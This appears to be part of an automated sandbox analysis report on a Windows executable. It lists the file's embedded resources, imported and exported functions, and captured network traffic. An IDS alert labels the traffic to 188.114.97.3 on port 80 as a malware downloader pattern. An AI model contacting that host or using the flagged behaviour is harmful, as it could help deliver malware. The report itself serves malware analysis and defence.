PNG	0x27b964	0xf0cf	PNG image data, 600 x 395, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9849627719110419
PNG	0x28aa34	0x58d	PNG image data, 80 x 20, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7853624208304011
PNG	0x28afc4	0x593	PNG image data, 64 x 16, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7876664330763841
PNG	0x28b558	0x429	PNG image data, 244 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	0.6826291079812207
PNG	0x28b984	0x782	PNG image data, 348 x 29, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8376690946930281
PNG	0x28c108	0x782	PNG image data, 348 x 29, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8376690946930281
PNG	0x28c88c	0x1699	PNG image data, 360 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9491789109766637
PNG	0x28df28	0x243d	PNG image data, 154 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9719736983938774
PNG	0x290368	0x3bd	PNG image data, 500 x 2, 8-bit/color RGBA, non-interlaced	Chinese	China	0.6342737722048067
PNG	0x290728	0x3e4	PNG image data, 504 x 4, 8-bit/color RGBA, non-interlaced	Chinese	China	0.6576305220883534
PNG	0x290b0c	0x1b3	PNG image data, 72 x 18, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9701149425287356
PNG	0x290cc0	0xa84d	PNG image data, 506 x 320, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9944528258094465
PNG	0x29b510	0x2916	PNG image data, 174 x 174, 8-bit/color RGBA, non-interlaced	Chinese	China	0.973949420041833
PNG	0x29de28	0x456	PNG image data, 268 x 28, 8-bit/color RGBA, non-interlaced	Chinese	China	0.6765765765765765
PNG	0x29e280	0x2ae0	PNG image data, 600 x 40, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9623724489795918
PNG	0x2a0d60	0xb11	PNG image data, 202 x 14, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9064595834804094
PNG	0x2a1874	0xba8	PNG image data, 208 x 20, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9118632707774799
PNG	0x2a241c	0x13d3	PNG image data, 123 x 108, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9399014778325123
PNG	0x2a37f0	0x48ba	PNG image data, 360 x 107, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9854441937909549
PNG	0x2a80ac	0x3bd	PNG image data, 460 x 2, 8-bit/color RGBA, non-interlaced	Chinese	China	0.6363636363636364
PNG	0x2a846c	0x3e4	PNG image data, 464 x 4, 8-bit/color RGBA, non-interlaced	Chinese	China	0.6526104417670683
PNG	0x2a8850	0xf1ef	PNG image data, 600 x 467, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9812706870105756
PNG	0x2b7a40	0xf252	PNG image data, 600 x 495, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9796079569268465
PNG	0x2c6c94	0xf2b8	PNG image data, 600 x 523, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9784665894167632
PNG	0x2d5f4c	0xd34d	PNG image data, 661 x 267, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9906272530641672
PNG	0x2e329c	0x432	PNG image data, 100 x 25, 8-bit/color RGBA, non-interlaced	Chinese	China	1.01024208566108
PNG	0x2e36d0	0x2354	PNG image data, 796 x 55, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9775541795665634
PNG	0x2e5a24	0x3908	PNG image data, 688 x 65, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9698630136986301
PNG	0x2e932c	0xcd0	PNG image data, 206 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0033536585365854
PNG	0x2e9ffc	0x9fa7	PNG image data, 260 x 260, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9562525996427785
PNG	0x2f3fa4	0x3d73	PNG image data, 156 x 156, 8-bit/color RGBA, non-interlaced	Chinese	China	0.982264318860848
PNG	0x2f7d18	0x1aae	PNG image data, 162 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9632503660322108
PNG	0x2f97c8	0x4d9	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7421434327155519
PNG	0x2f9ca4	0x182a	PNG image data, 162 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0017782088587133
PNG	0x2fb4d0	0x3a0	PNG image data, 39 x 39, 8-bit/color RGBA, non-interlaced	Chinese	China	1.011853448275862
PNG	0x2fb870	0x3a2	PNG image data, 39 x 39, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0118279569892472
PNG	0x2fbc14	0x39f	PNG image data, 39 x 39, 8-bit/color RGBA, non-interlaced	Chinese	China	1.011866235167206
PNG	0x2fbfb4	0x470	PNG image data, 39 x 39, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7165492957746479
PNG	0x2fc424	0x5b2	PNG image data, 39 x 39, 8-bit/color RGBA, non-interlaced	Chinese	China	0.799039780521262
PNG	0x2fc9d8	0x5a5	PNG image data, 39 x 39, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7889273356401384
PNG	0x2fcf80	0x28c	PNG image data, 15 x 15, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0168711656441718
PNG	0x2fd20c	0x11a	PNG image data, 13 x 13, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9822695035460993
PNG	0x2fd328	0x5a6	PNG image data, 210 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7842323651452282
PNG	0x2fd8d0	0x604	PNG image data, 60 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0071428571428571
PNG	0x2fded4	0x5d4	PNG image data, 60 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.007372654155496
PNG	0x2fe4a8	0x6fb	PNG image data, 60 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0061555679910466
PNG	0x2feba4	0x19ac	PNG image data, 182 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9625684723067559
PNG	0x300550	0x18f2	PNG image data, 182 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9614782336360789
PNG	0x301e44	0x4a2	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7335581787521079
PNG	0x3022e8	0x40d	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.6759884281581485
PNG	0x3026f8	0x4ba	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7396694214876033
PNG	0x302bb4	0x4c9	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7428571428571429
PNG	0x303080	0x461	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7172167707404103
PNG	0x3034e4	0x48e	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7246998284734134
PNG	0x303974	0x4c2	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7446633825944171
PNG	0x303e38	0x466	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7158081705150977
PNG	0x3042a0	0x4ef	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7521773555027712
PNG	0x304790	0x4c7	PNG image data, 16 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7448896156991006
PNG	0x304c58	0x52f	PNG image data, 22 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7671439336850038
PNG	0x305188	0x8e3	PNG image data, 92 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8650549450549451
PNG	0x305a6c	0x14d9	PNG image data, 182 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9559677721566423
PNG	0x306f48	0x15a3	PNG image data, 162 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9584762592525726
PNG	0x3084ec	0x1a3	PNG image data, 13 x 13, 8-bit/color RGBA, non-interlaced	Chinese	China	1.026252983293556
PNG	0x308690	0x159	PNG image data, 13 x 13, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0318840579710145
PNG	0x3087ec	0x19bb	PNG image data, 182 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9628055260361318
PNG	0x30a1a8	0x39a8	PNG image data, 182 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9841463414634146
RT_ICON	0x30db50	0xaaa6	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9982145309710204
RT_ICON	0x3185f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Chinese	China	0.4657676348547718
RT_ICON	0x31aba0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Chinese	China	0.4157801418439716
RT_DIALOG	0x31b008	0xf0	data	Chinese	China	0.4875
RT_DIALOG	0x31b0f8	0x50	data	Chinese	China	0.7875
RT_DIALOG	0x31b148	0x2e	data	Chinese	China	0.9347826086956522
RT_DIALOG	0x31b178	0x2e	data	Chinese	China	0.9347826086956522
RT_DIALOG	0x31b1a8	0x2e	data	Chinese	China	0.8260869565217391
RT_STRING	0x31b1d8	0x34	data	Chinese	China	0.5769230769230769
RT_STRING	0x31b20c	0xc6	data	Chinese	China	0.6313131313131313
RT_STRING	0x31b2d4	0x1e8	data	Chinese	China	0.6290983606557377
RT_STRING	0x31b4bc	0x1e6	data	Chinese	China	0.5781893004115226
RT_STRING	0x31b6a4	0x62	data	Chinese	China	0.8673469387755102
RT_GROUP_ICON	0x31b708	0x30	data	Chinese	China	0.875
RT_VERSION	0x31b738	0x3d8	data	English	United States	0.4796747967479675
RT_MANIFEST	0x31bb10	0x249	XML 1.0 document, ASCII text	English	United States	0.576068376068376

Imports

DLL	Import
gdiplus.dll	GdipCreateImageAttributes, GdipBitmapLockBits, GdipBitmapUnlockBits, GdipFillRectangle, GdipFillPath, GdipDrawImageRectI, GdipGetImageHeight, GdipCreateBitmapFromFile, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromResource, GdipGetImageWidth, GdipAlloc, GdipFillEllipse, GdipSetSmoothingMode, GdipDeleteGraphics, GdipCreateFromHDC, GdipGetSolidFillColor, GdipCreateBitmapFromStream, GdipCreateSolidFill, GdipDeleteBrush, GdipCloneBrush, GdipLoadImageFromStreamICM, GdipLoadImageFromStream, GdipFree, GdipSetSolidFillColor, GdipSetClipRegion, GdipDeleteRegion, GdipCreateRegionPath, GdipAddPathArc, GdipDeletePath, GdipCreatePath, GdiplusShutdown, GdiplusStartup, GdipDrawString, GdipCreateFont, GdipGetGenericFontFamilySansSerif, GdipFillRectangleI, GdipDrawRectangle, GdipDeletePen, GdipCreatePen1, GdipSetStringFormatTrimming, GdipSetStringFormatLineAlign, GdipSetStringFormatAlign, GdipSetStringFormatFlags, GdipCloneStringFormat, GdipDeleteStringFormat, GdipStringFormatGetGenericDefault, GdipMeasureString, GdipDeleteFont, GdipCloneFont, GdipCreateFontFromLogfontA, GdipCreateFontFromDC, GdipReleaseDC, GdipGetDC, GdipCreateBitmapFromScan0, GdipGetImageGraphicsContext, GdipDisposeImage, GdipCloneImage, GdipDrawImageRectRectI, GdipDrawImageRect, GdipRotateWorldTransform, GdipTranslateWorldTransform, GdipSetImageAttributesColorMatrix, GdipDisposeImageAttributes
ADVAPI32.dll	AdjustTokenPrivileges, OpenProcessToken, GetTokenInformation, SystemFunction036, ConvertSidToStringSidW, ConvertStringSecurityDescriptorToSecurityDescriptorW, RegCloseKey, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, RegCreateKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumKeyExW, RegQueryInfoKeyW, CreateProcessAsUserW, LookupPrivilegeValueW
GDI32.dll	GetObjectA, DeleteObject, CreateBitmap, CreateCompatibleDC, DeleteDC, SelectObject, BitBlt, CreateDIBSection, CreateFontW, CreateCompatibleBitmap, CreateFontIndirectW, CreatePatternBrush, CreateRoundRectRgn, GetStockObject, PatBlt, SetBkColor, SetBkMode, SetTextColor, GetObjectW, ExtTextOutW, SetViewportOrgEx, SetWindowOrgEx, CreateRectRgn, PtInRegion
KERNEL32.dll	IsProcessorFeaturePresent, InitializeCriticalSection, FormatMessageW, SetErrorMode, RtlCaptureContext, CreateFileA, UnhandledExceptionFilter, DeviceIoControl, GetVolumePathNamesForVolumeNameW, GetDriveTypeW, FindVolumeClose, FindNextVolumeW, FindFirstVolumeW, GetStartupInfoW, InitializeSListHead, EncodePointer, LCMapStringW, GetLocaleInfoW, GetStringTypeW, GetCPInfo, OutputDebugStringW, InterlockedPopEntrySList, InterlockedPushEntrySList, FlushInstructionCache, LoadLibraryExA, RtlUnwind, GetConsoleCP, GetConsoleMode, GetFullPathNameW, SetStdHandle, ExitThread, FreeLibraryAndExitThread, GetACP, CreateMutexW, ReadConsoleW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetTimeZoneInformation, WriteConsoleW, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SleepEx, GetFileType, PeekNamedPipe, GetSystemDirectoryW, GetWindowsDirectoryW, LoadResource, LockResource, SizeofResource, FindResourceW, LocalFree, lstrcmpiW, ExpandEnvironmentStringsW, CreateFileW, LocalFileTimeToFileTime, ReadFile, SetFileAttributesW, SetFilePointer, SetFileTime, WriteFile, CloseHandle, HeapAlloc, HeapFree, GetProcessHeap, GetProcAddress, LoadLibraryExW, DosDateTimeToFileTime, lstrlenW, MultiByteToWideChar, WideCharToMultiByte, CreateDirectoryW, DeleteFileW, FindClose, FindFirstFileW, FindFirstFileExW, FindNextFileW, GetFileAttributesW, GetVolumeInformationW, GetVolumePathNameW, RemoveDirectoryW, GetTempPathW, GetLastError, WaitForSingleObject, GetCurrentProcess, ExitProcess, GetExitCodeProcess, CreateProcessW, GetModuleFileNameW, GetModuleHandleW, LocalAlloc, SetProcessWorkingSetSize, EnumResourceNamesW, DecodePointer, RaiseException, HeapDestroy, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, GetCommandLineW, SetLastError, EnterCriticalSection, LeaveCriticalSection, Sleep, GetCurrentProcessId, GetCurrentThreadId, ProcessIdToSessionId, FreeLibrary, SetDllDirectoryW, GetTickCount, CreateEventW, FindResourceExW, FreeResource, GlobalAlloc, GlobalLock, GlobalUnlock, GlobalFree, CompareStringW, GetDiskFreeSpaceExW, OpenProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, GetModuleHandleExW, LoadLibraryW, GetCurrentDirectoryW, OutputDebugStringA, FormatMessageA, SetCurrentDirectoryW, GetFileAttributesExW, GetLongPathNameW, GetTempFileNameW, CopyFileW, MoveFileExW, GetProcessId, DuplicateHandle, TerminateProcess, GetStdHandle, SetHandleInformation, ResumeThread, AssignProcessToJobObject, GetVersionExW, GetNativeSystemInfo, SetEvent, ResetEvent, WaitForMultipleObjects, QueryPerformanceCounter, QueryPerformanceFrequency, GetCurrentThread, SetThreadPriority, GetThreadPriority, GetSystemTimeAsFileTime, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, FlushFileBuffers, GetFileInformationByHandle, SetEndOfFile, SetFilePointerEx, IsDebuggerPresent, CreateThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, RtlCaptureStackBackTrace, SetUnhandledExceptionFilter, TryEnterCriticalSection, CreateIoCompletionPort, GetQueuedCompletionStatus, PostQueuedCompletionStatus, VirtualAlloc, VirtualFree, GetEnvironmentVariableW, SetEnvironmentVariableW
MSIMG32.dll	AlphaBlend
ole32.dll	CoUninitialize, CoInitializeEx, CoInitializeSecurity, CoSetProxyBlanket, CoCreateInstance, CoTaskMemAlloc, CoTaskMemRealloc, CoTaskMemFree, CoInitialize, CreateStreamOnHGlobal
OLEAUT32.dll	VarUI4FromStr, SysAllocString, VariantInit, SysFreeString, VariantClear
PSAPI.DLL	GetModuleFileNameExW, GetProcessImageFileNameW
SHELL32.dll	ShellExecuteW, CommandLineToArgvW, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFolderPathW
USER32.dll	UpdateWindow, DrawTextW, GetMenu, GetSystemMetrics, IsWindowEnabled, EnableWindow, GetCapture, SetFocus, GetWindowTextLengthW, SetWindowRgn, GetWindowRgn, EnumChildWindows, LoadStringW, IsDialogMessageW, LoadImageW, DestroyCursor, GetClassNameW, GetWindowTextW, RedrawWindow, SetWindowTextW, OffsetRect, CopyRect, SetRectEmpty, FillRect, GetSysColor, ClientToScreen, GetCursorPos, AdjustWindowRectEx, InvalidateRect, UnregisterClassW, GetMessageW, TranslateMessage, DispatchMessageW, PeekMessageW, DefWindowProcW, DestroyWindow, ShowWindow, SetWindowPos, CreateDialogParamW, CharNextW, GetClientRect, GetWindowRect, MessageBoxW, MapWindowPoints, GetWindowLongW, SetWindowLongW, GetParent, GetWindow, MonitorFromWindow, GetMonitorInfoW, TrackMouseEvent, IsWindow, UpdateLayeredWindow, MoveWindow, SetCapture, ReleaseCapture, SetTimer, KillTimer, GetDC, ReleaseDC, SetCursor, ScreenToClient, LoadCursorW, PostMessageW, RegisterClassExW, CreateWindowExW, BeginPaint, EndPaint, PtInRect, PostQuitMessage, SetForegroundWindow, SendMessageW, CallWindowProcW, GetClassInfoExW, IsWindowVisible, GetDlgItem, GetDlgCtrlID
WININET.dll	InternetCloseHandle, InternetReadFile, InternetOpenUrlW, InternetOpenW
WINMM.dll	timeBeginPeriod, timeEndPeriod, timeGetTime
WS2_32.dll	accept, sendto, recvfrom, __WSAFDIsSet, freeaddrinfo, getaddrinfo, WSASetLastError, setsockopt, ntohs, htons, getsockopt, listen, getpeername, connect, bind, send, recv, WSAGetLastError, socket, closesocket, WSACleanup, WSAStartup, select, gethostname, getsockname, ioctlsocket
USERENV.dll	DestroyEnvironmentBlock, CreateEnvironmentBlock
COMCTL32.dll	_TrackMouseEvent
WINHTTP.dll	WinHttpGetIEProxyConfigForCurrentUser

Exports

Name	Ordinal	Address
GetHandleVerifier	1	0x456460
curl_easy_cleanup	2	0x492383
curl_easy_duphandle	3	0x492394
curl_easy_escape	4	0x4b0631
curl_easy_getinfo	5	0x492562
curl_easy_init	6	0x492578
curl_easy_pause	7	0x4925af
curl_easy_perform	8	0x4926ac
curl_easy_recv	9	0x492743
curl_easy_reset	10	0x49278d
curl_easy_send	11	0x492823
curl_easy_setopt	12	0x492881
curl_easy_strerror	13	0x491b6b
curl_easy_unescape	14	0x4b073b
curl_escape	15	0x4b07f3
curl_formadd	16	0x4b4efa
curl_formfree	17	0x4b4f11
curl_formget	18	0x4b4f8c
curl_free	19	0x4a1135
curl_getdate	20	0x49e22d
curl_getenv	21	0x4b05cb
curl_global_cleanup	22	0x4928a3
curl_global_init	23	0x4928d7
curl_global_init_mem	24	0x492996
curl_maprintf	25	0x492ae1
curl_mfprintf	26	0x492b4f
curl_mprintf	27	0x492b6b
curl_msnprintf	28	0x492b8d
curl_msprintf	29	0x492ba7
curl_multi_add_handle	30	0x49f70b
curl_multi_assign	31	0x49f8e6
curl_multi_cleanup	32	0x49f916
curl_multi_fdset	33	0x49fa35
curl_multi_info_read	34	0x49fb6d
curl_multi_init	35	0x49fbc3
curl_multi_perform	36	0x49fc74
curl_multi_remove_handle	37	0x49fd80
curl_multi_setopt	38	0x49ff7f
curl_multi_socket	39	0x49fffb
curl_multi_socket_action	40	0x4a0028
curl_multi_socket_all	41	0x4a0056
curl_multi_strerror	42	0x491f07
curl_multi_timeout	43	0x4a0082
curl_mvaprintf	44	0x492bca
curl_mvfprintf	45	0x492c37
curl_mvprintf	46	0x492c52
curl_mvsnprintf	47	0x492c73
curl_mvsprintf	48	0x492cc3
curl_share_cleanup	49	0x49e869
curl_share_init	50	0x49e8eb
curl_share_setopt	51	0x49e8ff
curl_share_strerror	52	0x491f7b
curl_slist_append	53	0x493cd9
curl_slist_free_all	54	0x493d2d
curl_strequal	55	0x49e1d3
curl_strnequal	56	0x49e1ea
curl_unescape	57	0x4b0808

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-14T18:44:08.488262+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49721	188.114.97.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 14, 2024 18:44:07.600914001 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:07.606806993 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:07.606892109 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:07.607569933 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:07.613339901 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488117933 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488212109 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488261938 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488265991 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488262892 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488301992 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488337040 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488339901 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488358974 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488373041 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488406897 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488414049 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488435030 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488439083 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488471985 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488482952 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488503933 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488507986 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.488521099 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.488564014 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.493526936 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.493561983 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.493607044 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.493638039 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579528093 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579602957 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579612970 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579642057 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579663038 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579675913 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579700947 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579713106 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579732895 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579746008 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579767942 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579780102 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579797983 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579812050 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579829931 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579849005 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.579868078 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.579900980 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.580059052 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.580116987 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.580118895 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.580157995 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.580172062 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.580209017 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.580215931 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.580252886 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.580280066 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.580301046 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.581013918 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.581074953 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.581157923 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.581208944 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.581217051 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.581243992 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.581268072 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.581280947 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.581295967 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.581331968 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.581851959 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.581883907 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.581912994 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.581921101 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.581931114 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.581979036 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678030014 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678100109 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678102970 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678142071 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678163052 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678177118 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678189039 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678215981 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678234100 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678248882 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678272009 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678284883 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678294897 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678318024 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678333998 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678353071 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678369999 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678405046 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678826094 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678878069 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678886890 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678911924 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.678930044 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.678961039 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.679018021 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.679054022 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.679081917 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.679105997 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.679624081 CEST	80	49721	188.114.97.3	192.168.2.6
